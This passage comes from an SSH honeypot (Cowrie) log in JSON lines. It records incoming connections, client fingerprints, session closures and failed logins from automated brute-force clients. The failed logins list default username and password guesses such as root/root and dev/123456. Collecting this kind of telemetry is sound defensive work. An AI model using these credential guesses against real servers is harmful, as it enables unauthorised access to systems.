{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":50248,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8e6269f73a4","protocol":"ssh","message":"New connection: 91.92.40.36:50248 (10.17.0.5:22) [session: b8e6269f73a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:59:46.403368Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:59:47.581901Z","src_ip":"91.92.40.36","session":"a266b96a834b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:59:47.873415Z","src_ip":"91.92.40.36","session":"b8e6269f73a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:59:47.877214Z","src_ip":"91.92.40.36","session":"b8e6269f73a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.9","message":"Connection lost after 10.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:59:51.206466Z","src_ip":"91.92.40.36","session":"a266b96a834b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":47128,"dst_ip":"10.17.0.5","dst_port":22,"session":"e196317ab547","protocol":"ssh","message":"New connection: 91.92.40.36:47128 (10.17.0.5:22) [session: e196317ab547]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:59:51.485141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:59:53.458965Z","src_ip":"91.92.40.36","session":"e196317ab547","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:59:53.461999Z","src_ip":"91.92.40.36","session":"e196317ab547","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"root","message":"login attempt [ubuntu/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:59:59.965397Z","src_ip":"91.92.40.36","session":"b8e6269f73a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":62378,"dst_ip":"10.17.0.5","dst_port":22,"session":"aaf820ba3a48","protocol":"ssh","message":"New connection: 91.92.40.36:62378 (10.17.0.5:22) [session: aaf820ba3a48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:00.832612Z"}
{"eventid":"cowrie.login.failed","username":"nominatim","password":"1234","message":"login attempt [nominatim/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:00.844032Z","src_ip":"91.92.40.36","session":"e196317ab547","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:01.745411Z","src_ip":"91.92.40.36","session":"aaf820ba3a48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:01.748964Z","src_ip":"91.92.40.36","session":"aaf820ba3a48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.8","message":"Connection lost after 16.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:03.160230Z","src_ip":"91.92.40.36","session":"b8e6269f73a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.3","message":"Connection lost after 12.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:03.834717Z","src_ip":"91.92.40.36","session":"e196317ab547","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.17726755142212,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:05.917565Z","src_ip":"128.199.8.54","session":"3a4341f925df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"73.36.177.174","src_port":34762,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f08e21f2e14","protocol":"ssh","message":"New connection: 73.36.177.174:34762 (10.17.0.5:22) [session: 8f08e21f2e14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:06.066613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:06.075440Z","src_ip":"73.36.177.174","session":"8f08e21f2e14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:06.120265Z","src_ip":"73.36.177.174","session":"8f08e21f2e14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pass@word1","message":"login attempt [root/pass@word1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:06.337956Z","src_ip":"73.36.177.174","session":"8f08e21f2e14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.136.214.177","src_port":34962,"dst_ip":"10.17.0.5","dst_port":22,"session":"155b45beea7d","protocol":"ssh","message":"New connection: 150.136.214.177:34962 (10.17.0.5:22) [session: 155b45beea7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:07.174889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:07.181760Z","src_ip":"150.136.214.177","session":"155b45beea7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"671ac49b8bd65b9e8ff02a3e690f0fd3","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-512,hmac-sha2-256;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-512","hmac-sha2-256"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 671ac49b8bd65b9e8ff02a3e690f0fd3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:07.208208Z","src_ip":"150.136.214.177","session":"155b45beea7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pm","password":"pm","message":"login attempt [pm/pm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:07.344258Z","src_ip":"150.136.214.177","session":"155b45beea7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:07.418382Z","src_ip":"73.36.177.174","session":"8f08e21f2e14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":52050,"dst_ip":"10.17.0.5","dst_port":22,"session":"164d55869984","protocol":"ssh","message":"New connection: 91.92.40.36:52050 (10.17.0.5:22) [session: 164d55869984]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:07.424053Z"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:08.374558Z","src_ip":"150.136.214.177","session":"155b45beea7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"12345","message":"login attempt [debian/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:08.580132Z","src_ip":"91.92.40.36","session":"aaf820ba3a48","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:09.947904Z","src_ip":"91.92.40.36","session":"164d55869984","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:09.959199Z","src_ip":"91.92.40.36","session":"164d55869984","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.3","message":"Connection lost after 10.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:11.173478Z","src_ip":"91.92.40.36","session":"aaf820ba3a48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"vpn","message":"login attempt [vpn/vpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:15.866506Z","src_ip":"91.92.40.36","session":"164d55869984","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.180.146","src_port":41690,"dst_ip":"159.203.135.109","dst_port":22,"session":"92ad54041d36","protocol":"ssh","message":"New connection: 160.187.180.146:41690 (159.203.135.109:22) [session: 92ad54041d36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:16.289553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:16.295668Z","src_ip":"160.187.180.146","session":"92ad54041d36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:16.506344Z","src_ip":"160.187.180.146","session":"92ad54041d36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sdtd","password":"sdtd","message":"login attempt [sdtd/sdtd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:17.374780Z","src_ip":"160.187.180.146","session":"92ad54041d36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.6","message":"Connection lost after 10.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:18.019155Z","src_ip":"91.92.40.36","session":"164d55869984","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":31970,"dst_ip":"10.17.0.5","dst_port":22,"session":"03ac2b5cd7e0","protocol":"ssh","message":"New connection: 91.92.40.36:31970 (10.17.0.5:22) [session: 03ac2b5cd7e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:18.129846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:18.485006Z","src_ip":"91.92.40.36","session":"03ac2b5cd7e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:18.488780Z","src_ip":"91.92.40.36","session":"03ac2b5cd7e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:18.585565Z","src_ip":"160.187.180.146","session":"92ad54041d36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123456","message":"login attempt [dev/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:19.553027Z","src_ip":"91.92.40.36","session":"03ac2b5cd7e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":60430,"dst_ip":"10.17.0.5","dst_port":22,"session":"6cf3cf6a597b","protocol":"ssh","message":"New connection: 80.66.85.226:60430 (10.17.0.5:22) [session: 6cf3cf6a597b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:19.838927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:00:19.847997Z","src_ip":"80.66.85.226","session":"6cf3cf6a597b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@